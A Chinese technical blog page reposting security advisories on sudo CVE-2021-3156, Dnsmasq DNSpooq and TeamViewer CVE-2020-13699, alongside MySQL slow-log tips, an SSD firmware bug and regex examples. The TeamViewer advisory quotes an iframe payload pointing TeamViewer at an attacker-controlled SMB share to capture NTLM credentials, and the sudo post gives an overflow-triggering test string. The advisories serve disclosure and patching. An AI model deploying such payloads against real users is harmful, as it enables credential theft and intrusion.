2021年01月27日,360CERT监测发现RedHat发布了sudo 缓冲区/栈溢出漏洞的风险通告,该漏洞编号为CVE-2021-3156,漏洞等级:高危,漏洞评分:7.0

攻击者在取得服务器基础权限的情况下,可以利用sudo基于堆的缓冲区溢出漏洞,获得root权限。

目前debain已经修复该漏洞,centos依然受到影响

对此,360CERT建议广大用户及时将sudo升级到最新版本。与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。

0x02风险等级

360CERT对该漏洞的评定结果如下

评定方式 等级
威胁等级 高危
影响面 广泛
360CERT评分 7.0

0x03漏洞详情

CVE-2021-3156: 缓冲区溢出漏洞

sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer和非sudoers)都可以利用此漏洞,而无需进行身份验证,攻击者不需要知道用户的密码。成功利用此漏洞可以获得root权限。

用户可以使用如下方法进行自查:

以非root用户登录系统,并使用命令sudoedit -s /

– 如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。

– 如果响应一个以usage:开头的报错,那么表明补丁已经生效。

0x04影响版本

– sudo:sudo: 1.8.2 – 1.8.31p2

– sudo:sudo: 1.9.0 – 1.9.5p1

0x05修复建议

通用修补建议

下载升级sudo软件包,下载链接为:

sudo软件包下载地址

https://www.sudo.ws/dist/

临时修补建议

对于无法立即更新的用户,建议使用systemtap进行以下临时缓解:

1. 安装所需的systemtap软件包和依赖项:

systemtap yum-utils kernel-devel-"$(uname -r)"

对于RHEL 7,使用命令安装 kernel debuginfo:debuginfo-install -y kernel-"$(uname -r)"。对于RHEL 8,使用命令安装 sudo debuginfo:debuginfo-install sudo

2. 创建以下systemtap脚本(将文件命名为sudoedit-block.stap):

probe process("/usr/bin/sudo").function("main") {<br>        command = cmdline_args(0,0,"");<br>        if (strpos(command, "edit") >= 0) {<br>                raise(9);<br>        }<br>}

3. 使用以下命令安装脚本:(使用root权限)

# nohup stap -g sudoedit-block.stap &

该脚本将使得易受攻击的sudoedit二进制文件停止工作。sudo命令仍将照常工作。上述更改在重启后失效,必须在每次重启后重新应用。

4. 一旦安装了补丁程序,就可以通过取消systemtap进程来删除systemtap脚本。例如,通过使用:

# kill -s SIGTERM 7590 (其中7590是systemtap进程的PID)

0x06时间线

2021-01-27  RedHat官方发布通告

2021-01-27  360CERT发布通告

0x07参考链接

1、 RedHat官方通告

https://access.redhat.com/security/cve/CVE-2021-3156

2、 CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit)

https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

来源:https://my.oschina.net/u/4600927/blog/4927558

rpm升级来修复

下载系统安装包
centos 5 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el5.x86_64.rpm
centos 6 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el6.x86_64.rpm
centos 7 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el7.x86_64.rpm
ubuntu 16.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo_1.9.5-3_ubu1604_amd64.deb
ubuntu 18.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-ldap_1.9.5-3_ubu1804_amd64.deb
ubuntu 20.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo_1.9.5-3_ubu2004_amd64.deb
其他看官网 https://www.sudo.ws/download.html

cd /root/src/packages/
wget -N –no-check-certificate https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el6.x86_64.rpm && top
ll sudo-1.9.5-3.el6.x86_64.rpm
rpm -Uvh sudo-1.9.5-3.el6.x86_64.rpm
sudo -V
Sudo version 1.9.5p2

漏洞验证-修复完成
sudoedit -s ” perl -e ‘print “A” x 65536’
usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-D
directory] [-g group] [-h host] [-p prompt]
[-R directory] [-T timeout] [-u user] file ..

Posted in 安全通告.


Dnsmasq: 多个高危漏洞风险通告

报告编号:B6-2021-012102

报告来源:360CERT

报告作者:360CERT

更新日期:2021-01-21

0x01事件简述

2021年01月21日,360CERT监测发现JSOF发布了DNSpooq的风险通告,事件等级:高危,事件评分:8.1

DNSpooqJSOF命名的本次披露的漏洞的统称,该报告主要围绕dnsmasq的漏洞展开。总计包含2处高危漏洞,2处中危漏洞,3处低危漏洞。

dnsmasq中存在多个高危漏洞,影响DNS服务正常的提供,并导致DNS缓存投毒引发以下后果

1. 域名劫持(网站访问劫持、数据窃取)

2. 流量劫持(网站内容劫持、数据窃取、分布式拒绝服务)

对此,360CERT建议广大用户好资产自查以及预防工作,以免遭受黑客攻击。

0x02风险等级

360CERT对该事件的评定结果如下

评定方式 等级
威胁等级 高危
影响面 广泛
360CERT评分 8.1

0x03漏洞详情

漏洞编号 漏洞评分 漏洞类型 漏洞后果
CVE-2020-25681 8.1 启用DNSSEC时,堆的缓冲区溢出 远程代码执行
CVE-2020-25682 8.1 启用DNSSEC时,缓冲区溢出 远程代码执行
CVE-2020-25683 5.9 启用DNSSEC时,堆缓冲区溢出 拒绝服务
CVE-2020-25687 5.9 启用DNSSEC时,堆缓存区溢出 拒绝服务
CVE-2020-25684 4 逻辑错误 拒绝服务
CVE-2020-25685 4 逻辑错误 DNS 缓存投毒
CVE-2020-25686 4 逻辑错误 DNS 缓存投毒

0x04影响版本

dnsmasq:dnsmsaq: <2.83

0x05修复建议

通用修补建议

发行版

升级dnsmasq2.83以上 请根据发行版包管理器及时安装并重启dnsmasq,请根据具体情况选择命令。

# 更新软件包
yum update dnsmasq
apt upgrade dnsmasq
# 重启服务
systemctl restart dnsmasq

临时修补建议

网络侧

-禁止从外部网络访问dsnmasq

-设置--dns-forward-max=参数为小于 150 的值

-可以在理解DNSSEC功能的情况下,临时禁用该功能

-可以通过启用一些DNS安全传输的策略(DNS Over TLS, DoH, DoT)

参考命令

命令仅提供参考,具体需要结合服务器的实际情况进行配置

# iptables
sudo iptables -A INPUT -p udp --dport 53 -j DROP 
sudo iptables -A FORWARD -p udp --dport 53 -j DROP 
# firewall-cmd
sudo firewall-cmd --remove-port=53/udp --permanent

0x06相关空间测绘数据

360安全大脑-Quake网络空间测绘系统通过对全网资产测绘,发现dnsmasq具体分布如下图所示。

0x07产品侧解决方案

360城市级网络安全监测服务

360CERT的安全分析人员利用360安全大脑的QUAKE资产测绘平台(quake.360.cn),通过资产测绘技术的方式,对该漏洞进行监测。可联系相关产品区域负责人或(quake#360.cn)获取对应产品。

360安全分析响应平台

360安全大脑的安全分析响应平台通过网络流量检测、多传感器数据融合关联分析手段,对该类漏洞的利用进行实时检测和阻断,请用户联系相关产品区域负责人或(shaoyulong#360.cn)获取对应产品。

0x08时间线

2021-01-21 360CERT发布通告

2021-01-21 JSOF 披露 DNSpooq 报告

0x09参考链接

1、 DNSpooq-Technical-WP.pdf

2、 DNSpooq

0x0a特制报告下载链接

一直以来,360CERT对全球重要网络安全事件进行快速通报、应急响应。为更好地为政企用户提供最新漏洞以及信息安全事件的安全通告服务,现360CERT正式推出安全通告特制版报告,以便用户做资料留存、传阅研究与查询验证。 用户可直接通过以下链接进行特制报告的下载。Dnsmasq: 多个高危漏洞风险通告

若有订阅意向与定制需求请发送邮件至 g-cert-report#360.cn ,并附上您的 公司名、姓名、手机号、地区、邮箱地址。

Posted in 安全通告.


TeamViewer 远程代码执行漏洞通告 (CVE-2020-13699)黑客可控制任意电脑



一、漏洞概要

2020年8月6日,TeamViewer官方发布了TeamViewer

URL处理的风险通告。TeamViewer存在未引用的搜索路径或元素的安全缺陷,由于应用程序没有正确引用它的自定义URI处理程序,当安装了TeamViewer的易受攻击版本的用户访问恶意创建的网站时,可能会被黑客利用。深信服安全研究团队依据漏洞重要性和影响力进行评估,作出漏洞通告。

说人话就是当你用有缺陷的版本访问到某恶意网站时,会将teamviewer的用户和密码发送给黑客,黑客反解密码后就可以登录你电脑操作了.在当前疫情环境下,很影响远程办公.

二、漏洞分析

2.1 TeamViewer介绍

TeamViewer是由德国公司TeamViewer GmbH开发的应用程序,可用于Windows,macOS,Linux,Chrome OS,iOS,Android,Windows RT Windows Phone 8和BlackBerry操作系统。

它主要用于远程访问和控制各种类型的计算机系统和移动设备,但也提供协作和演示功能(例如,桌面共享,Web会议,文件传输等)。

2.2 漏洞描述

TeamViewer存在未引用的搜索路径或元素的安全缺陷,由于应用程序没有正确引用它的自定义URI处理程序,当安装有TeamViewer的易受攻击版本的系统访问恶意创建的网站时,可能会被利用。

攻击者可以使用精心制作的URL(iframe src=’teamviewer10: –play \\attacker-IP\share\fake.tvs’)将恶意iframe嵌入网站中,从而启动TeamViewer Windows桌面客户端并强制其打开远程SMB共享。

Windows将在打开SMB共享时,执行NTLM身份验证,并且可以转发该请求(使用如响应程序之类的工具)以执行代码(或捕获该请求以进行哈希破解)。

该漏洞的利用可以远程启动,并且不需要事先进行身份验证,是水坑攻击的理想选择。

三、影响范围

【影响版本】

TeamViewer < 8.0.258861

TeamViewer < 9.0.28860

TeamViewer < 10.0.258873

TeamViewer < 11.0.258870

TeamViewer < 12.0.258869

TeamViewer < 13.2.36220

TeamViewer < 14.2.56676

TeamViewer < 15.8.3

四、解决方案

打开TeamViewer -> 点击按钮帮助 -> 点击按钮关于TeamViewer -> 查看TeamViewer版本号。

以确保TeamViewer的版本是非漏洞版本。

4.2 修复方案

针对此漏洞官方已在8.0.258861、9.0.258860、10.0.258873、11.0.258870、12.0.258869、13.2.36220、14.2.56676、14.7.48350和15.8.3版本中修复。

请受影响的用户参考以下链接安装补丁更新:https://www.teamviewer.com/en/download/previous-versions/

五、时间轴

2020/8/6 TeamViewer发布通告

2020/8/10 深信服千里目安全实验室发布通告

六、参考链接

https://www.helpnetsecurity.com/2020/08/06/cve-2020-13699/

https://community.teamviewer.com/t5/Announcements/Statement-on-CVE-2020-13699/td-p/98448

https://jeffs.sh/CVEs/CVE-2020-13699.txt



Posted in 安全通告.

Tagged with .


percona-toolkit工具pt-query-digest分析mysql慢查询

bin/mysqldumpslow -t10 -s /opt/mysql/var/slow.log
“mysqldumpslow.sh” is not currently compatible with Percona extended slow query
log format. Please use “pt-query-digest” from Percona Toolkit instead
(https://www.percona.com/doc/percona-toolkit/2.2/pt-query-digest.html).

使用mysqldumpslow分析percona mysql慢日志会提示使用 pt-query-digest

wget percona.com/get/percona-toolkit.tar.gz
tar zxf percona-toolkit.tar.gz
cd percona-toolkit-3.1.0
perl Makefile.PL PREFIX=/usr/local/percona-toolkit
make && make install

cd /usr/local/percona-toolkit
pt-query-digest /opt/mysql/var/slow.log
pt-query-digest –since=48h /opt/mysql/var/slow.log > slow_report.log

1.直接分析慢查询文件:
pt-query-digest slow.log > slow_report.log

2.分析最近12小时内的查询:

pt-query-digest –since=12h slow.log > slow_report2.log
3.分析指定时间范围内的查询:

pt-query-digest slow.log –since ‘2017-01-07 09:30:00’ –until ‘2017-01-07 10:00:00’> > slow_report3.log
4.分析指含有select语句的慢查询

pt-query-digest –filter ‘$event->{fingerprint} =~ m/^select/i’ slow.log> slow_report4.log
5.针对某个用户的慢查询

pt-query-digest –filter ‘($event->{user} || “”) =~ m/^root/i’ slow.log> slow_report5.log
6.查询所有所有的全表扫描或full join的慢查询

pt-query-digest –filter ‘(($event->{Full_scan} || “”) eq “yes”) ||(($event->{Full_join} || “”) eq “yes”)’ slow.log> slow_report6.log

参考:https://www.cnblogs.com/luyucheng/p/6265873.html

Posted in Mysql.

Tagged with , .


惠普服务器硬盘面临数据丢失威胁,三星固态硬盘固件门曝光:32746小时“自毁”暴雷!

近日HPE惠与(原HP惠普企业部门分拆而来)发布安全公告,部分服务器和存储产品中所用的固态硬盘固件存在缺陷,通电32746小时(3年零270天8小时)后硬盘上的数据将丢失!

这些HPE服务器或存储产品中使用了来自第三方供应商的SAS接口固态硬盘,受固件BUG影响,一旦通电时间达到32746小时,硬盘就会发生故障,数据将丢失并且不可恢复。

由于存储阵列中通常采用同款型号的硬盘,它们有可能同时因固件缺陷而失效,导致RAID冗余阵列也无法保护数据安全。HPE要求表格中列出的20种型号的固态硬盘尽快升级至HPD8固件版本。

考虑到一些型号的固态硬盘拥有高达15.3TB的容量,一旦出现故障将会导致大量数据无法恢复。尽管HPE没有点明具体是哪一家供应商的缺陷,但通过型号不难查明它们来自三星:

同操作系统一样,SSD固件BUG由来已久,上次我们听到与通电时间有关的固件BUG还是美光M4的固件门事件,当时M4被发现会在通电5184小时后卡死,并在重新启动后每小时卡死一次,导致没有保存的数据丢失。据说该故障与固态硬盘的SMART Power On Hours计数器有关。

三星这次出现在企业级固态硬盘中的32746小时BUG,潜伏时间要更长一些,后果也更为惨重(盘上全部数据无法恢复)。目前还不清楚除HPE之外是否还有其他服务器中内置的三星OEM固态硬盘存在相同缺陷。

Posted in 安全通告.

Tagged with , .


PCRE的正则表达式应用例子

网上看到,随手贴的例子,方便查阅

一、校验数字的表达式

  • 数字:^[0-9]*$
  • n位的数字:^\d{n}$
  • 至少n位的数字:^\d{n,}$
  • m-n位的数字:^\d{m,n}$
  • 零和非零开头的数字:^(0|[1-9][0-9]*)$
  • 非零开头的最多带两位小数的数字:^([1-9][0-9]*)+(\.[0-9]{1,2})?$
  • 带1-2位小数的正数或负数:^(\-)?\d+(\.\d{1,2})$
  • 正数、负数、和小数:^(\-|\+)?\d+(\.\d+)?$
  • 有两位小数的正实数:^[0-9]+(\.[0-9]{2})?$
  • 有1~3位小数的正实数:^[0-9]+(\.[0-9]{1,3})?$
  • 非零的正整数:^[1-9]\d*$ 或 ^([1-9][0-9]*){1,3}$ 或 ^\+?[1-9][0-9]*$
  • 非零的负整数:^\-[1-9][]0-9″*$ 或 ^-[1-9]\d*$
  • 非负整数:^\d+$ 或 ^[1-9]\d*|0$
  • 非正整数:^-[1-9]\d*|0$ 或 ^((-\d+)|(0+))$
  • 非负浮点数:^\d+(\.\d+)?$ 或 ^[1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0$
  • 非正浮点数:^((-\d+(\.\d+)?)|(0+(\.0+)?))$ 或 ^(-([1-9]\d*\.\d*|0\.\d*[1-9]\d*))|0?\.0+|0$
  • 正浮点数:^[1-9]\d*\.\d*|0\.\d*[1-9]\d*$ 或 ^(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$
  • 负浮点数:^-([1-9]\d*\.\d*|0\.\d*[1-9]\d*)$ 或 ^(-(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*)))$
  • 浮点数:^(-?\d+)(\.\d+)?$ 或 ^-?([1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0)$

校验字符的表达式

  • 汉字:^[\u4e00-\u9fa5]{0,}$
  • 英文和数字:^[A-Za-z0-9]+$ 或 ^[A-Za-z0-9]{4,40}$
  • 长度为3-20的所有字符:^.{3,20}$
  • 由26个英文字母组成的字符串:^[A-Za-z]+$
  • 由26个大写英文字母组成的字符串:^[A-Z]+$
  • 由26个小写英文字母组成的字符串:^[a-z]+$
  • 由数字和26个英文字母组成的字符串:^[A-Za-z0-9]+$
  • 由数字、26个英文字母或者下划线组成的字符串:^\w+$ 或 ^\w{3,20}$
  • 中文、英文、数字包括下划线:^[\u4E00-\u9FA5A-Za-z0-9_]+$
  • 中文、英文、数字但不包括下划线等符号:^[\u4E00-\u9FA5A-Za-z0-9]+$ 或 ^[\u4E00-\u9FA5A-Za-z0-9]{2,20}$
  • 可以输入含有^%&’,;=?$\”等字符:[^%&’,;=?$\x22]+
  • 禁止输入含有~的字符:[^~\x22]+

三、特殊需求表达式

  • Email地址:^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$
  • 域名:[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(/.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+/.?
  • InternetURL:[a-zA-z]+://[^\s]* 或 ^http://([\w-]+\.)+[\w-]+(/[\w-./?%&=]*)?$
  • 手机号码:^(13[0-9]|14[5|7]|15[0|1|2|3|5|6|7|8|9]|18[0|1|2|3|5|6|7|8|9])\d{8}$
  • 电话号码(“XXX-XXXXXXX”、”XXXX-XXXXXXXX”、”XXX-XXXXXXX”、”XXX-XXXXXXXX”、”XXXXXXX”和”XXXXXXXX):^(\(\d{3,4}-)|\d{3.4}-)?\d{7,8}$
  • 国内电话号码(0511-4405222、021-87888822):\d{3}-\d{8}|\d{4}-\d{7}
  • 电话号码正则表达式(支持手机号码,3-4位区号,7-8位直播号码,1-4位分机号): ((\d{11})|^((\d{7,8})|(\d{4}|\d{3})-(\d{7,8})|(\d{4}|\d{3})-(\d{7,8})-(\d{4}|\d{3}|\d{2}|\d{1})|(\d{7,8})-(\d{4}|\d{3}|\d{2}|\d{1}))$)
  • 身份证号(15位、18位数字),最后一位是校验位,可能为数字或字符X:(^\d{15}$)|(^\d{18}$)|(^\d{17}(\d|X|x)$)
  • 帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线):^[a-zA-Z][a-zA-Z0-9_]{4,15}$
  • 密码(以字母开头,长度在6~18之间,只能包含字母、数字和下划线):^[a-zA-Z]\w{5,17}$
  • 强密码(必须包含大小写字母和数字的组合,不能使用特殊字符,长度在 8-10 之间):^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])[a-zA-Z0-9]{8,10}$
  • 强密码(必须包含大小写字母和数字的组合,可以使用特殊字符,长度在8-10之间):^(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,10}$
  • 日期格式:^\d{4}-\d{1,2}-\d{1,2}
  • 一年的12个月(01~09和1~12):^(0?[1-9]|1[0-2])$
  • 一个月的31天(01~09和1~31):^((0?[1-9])|((1|2)[0-9])|30|31)$
  • 钱的输入格式:
    1. 有四种钱的表示形式我们可以接受:”10000.00″ 和 “10,000.00”, 和没有 “分” 的 “10000” 和 “10,000”:^[1-9][0-9]*$
    2. 这表示任意一个不以0开头的数字,但是,这也意味着一个字符”0″不通过,所以我们采用下面的形式:^(0|[1-9][0-9]*)$
    3. 一个0或者一个不以0开头的数字.我们还可以允许开头有一个负号:^(0|-?[1-9][0-9]*)$
    4. 这表示一个0或者一个可能为负的开头不为0的数字.让用户以0开头好了.把负号的也去掉,因为钱总不能是负的吧。下面我们要加的是说明可能的小数部分:^[0-9]+(.[0-9]+)?$
    5. 必须说明的是,小数点后面至少应该有1位数,所以”10.”是不通过的,但是 “10” 和 “10.2” 是通过的:^[0-9]+(.[0-9]{2})?$
    6. 这样我们规定小数点后面必须有两位,如果你认为太苛刻了,可以这样:^[0-9]+(.[0-9]{1,2})?$
    7. 这样就允许用户只写一位小数.下面我们该考虑数字中的逗号了,我们可以这样:^[0-9]{1,3}(,[0-9]{3})*(.[0-9]{1,2})?$
    8. 1到3个数字,后面跟着任意个 逗号+3个数字,逗号成为可选,而不是必须:^([0-9]+|[0-9]{1,3}(,[0-9]{3})*)(.[0-9]{1,2})?$
    9. 备注:这就是最终结果了,别忘了”+”可以用”*”替代如果你觉得空字符串也可以接受的话(奇怪,为什么?)最后,别忘了在用函数时去掉去掉那个反斜杠,一般的错误都在这里
  • xml文件:^([a-zA-Z]+-?)+[a-zA-Z0-9]+\\.[x|X][m|M][l|L]$
  • 中文字符的正则表达式:[\u4e00-\u9fa5]
  • 双字节字符:[^\x00-\xff] (包括汉字在内,可以用来计算字符串的长度(一个双字节字符长度计2,ASCII字符计1))
  • 空白行的正则表达式:\n\s*\r (可以用来删除空白行)
  • HTML标记的正则表达式:]*>.*?| ( 首尾空白字符的正则表达式:^\s*|\s*$或(^\s*)|(\s*$) (可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等),非常有用的表达式)
  • 腾讯QQ号:[1-9][0-9]{4,} (腾讯QQ号从10000开始)
  • 中国邮政编码:[1-9]\d{5}(?!\d) (中国邮政编码为6位数字)
  • IP地址:((?:(?:25[0-5]|2[0-4]\\d|[01]?\\d?\\d)\\.){3}(?:25[0-5]|2[0-4]\\d|[01]?\\d?\\d))

匹配a标签的值和href

]+\bhref=”([^”]*)”[^>]*>([\s\S]*?)
分组1和分组2即为href和value

解释:
<a\b #匹配a标签的开始

[^>]+ #匹配a标签中href之前的内容

\bhref=”([^”]*)” #匹配href的值,并将匹配内容捕获到分组1当中

[^>]*> #匹配a标签中href之后的内容

([\s\S]*?) #匹配a标签的value,并捕获到分组2当中,?表示懒惰匹配

#匹配a标签的结束

其他示例

/\b([a-z]+) \1\b/gi 一个单词连续出现的位置。
/(\w+):\/\/([^/:]+)(:\d*)?([^# ]*)/ 将一个URL解析为协议、域、端口及相对路径。
/^(?:Chapter|Section) [1-9][0-9]{0,1}$/ 定位章节的位置。
/[-a-z]/ A至z共26个字母再加一个-号。
/ter\b/ 可匹配chapter,而不能匹配terminal。
/\Bapt/ 可匹配chapter,而不能匹配aptitude。
/Windows(?=95 |98 |NT )/ 可匹配Windows95或Windows98或WindowsNT,当找到一个匹配后,从Windows后面开始进行下一次的检索匹配。
/^\s*$/ 匹配空行。
/\d{2}-\d{5}/ 验证由两位数字、一个连字符再加 5 位数字组成的 ID 号。
/]*)?>[\s\S]*/ 匹配 HTML 标记。
用户名 /^[a-z0-9_-]{3,16}$/
密码 /^[a-z0-9_-]{6,18}$/
密码2 (?=^.{8,}$)(?=.*\d)(?=.*\W+)(?=.*[A-Z])(?=.*[a-z])(?!.*\n).*$ (由数字/大写字母/小写字母/标点符号组成,四种都必有,8位以上)
十六进制值 /^#?([a-f0-9]{6}|[a-f0-9]{3})$/
电子邮箱 /^([a-z0-9_\.-]+)@([\da-z\.-]+)\.([a-z\.]{2,6})$/
/^[a-z\d]+(\.[a-z\d]+)*@([\da-z](-[\da-z])?)+(\.{1,2}[a-z]+)+$/或w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*
URL /^(https?:\/\/)?([\da-z\.-]+)\.([a-z\.]{2,6})([\/\w \.-]*)*\/?$/ 或 [a-zA-z]+://[^\s]*
IP 地址 /((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)/
/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/ 或 ((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)
HTML 标签 /^<([a-z]+)([^(.*)|\s+\/>)$/或.*|
删除代码\\注释 (?<!http:|\S)//.*$
匹配双字节字符(包括汉字在内) [^\x00-\xff]
汉字(字符) [\u4e00-\u9fa5]
Unicode编码中的汉字范围 /^[\u2E80-\u9FFF]+$/
中文及全角标点符号(字符) [\u3000-\u301e\ufe10-\ufe19\ufe30-\ufe44\ufe50-\ufe6b\uff01-\uffee]
日期(年-月-日) (\d{4}|\d{2})-((0?([1-9]))|(1[1|2]))-((0?[1-9])|([12]([1-9]))|(3[0|1]))
日期(月/日/年) ((0?[1-9]{1})|(1[1|2]))/(0?[1-9]|([12][1-9])|(3[0|1]))/(\d{4}|\d{2})
时间(小时:分钟, 24小时制) ((1|0?)[0-9]|2[0-3]):([0-5][0-9])
中国大陆固定电话号码 (\d{4}-|\d{3}-)?(\d{8}|\d{7})
中国大陆手机号码 1\d{10}
中国大陆邮政编码 [1-9]\d{5}
中国大陆身份证号(15位或18位) \d{15}(\d\d[0-9xX])?
非负整数(正整数或零) \d+
正整数 [0-9]*[1-9][0-9]*
负整数 -[0-9]*[1-9][0-9]*
整数 -?\d+
小数 (-?\d+)(\.\d+)?
空白行 \n\s*\r 或者 \n\n(editplus) 或者 ^[\s\S ]*\n 
QQ号码 [1-9]\d{4,}
不包含abc的单词 \b((?!abc)\w)+\b
匹配首尾空白字符 ^\s*|\s*$
编辑常用 以下是针对特殊中文的一些替换(editplus)
^[0-9].*\n 
^[^第].*\n 
^[习题].*\n
^[\s\S ]*\n ^[0-9]*\. ^[\s\S ]*\n <p[^*]>href=”javascript:if\(confirm\(‘(.*?)’\)\)window\.location='(.*?)'”.[^]*

[\s\S]*?

转载:https://www.runoob.com/regexp/regexp-syntax.html

Posted in HTML/XHTML/CSS, 技术.

Tagged with , .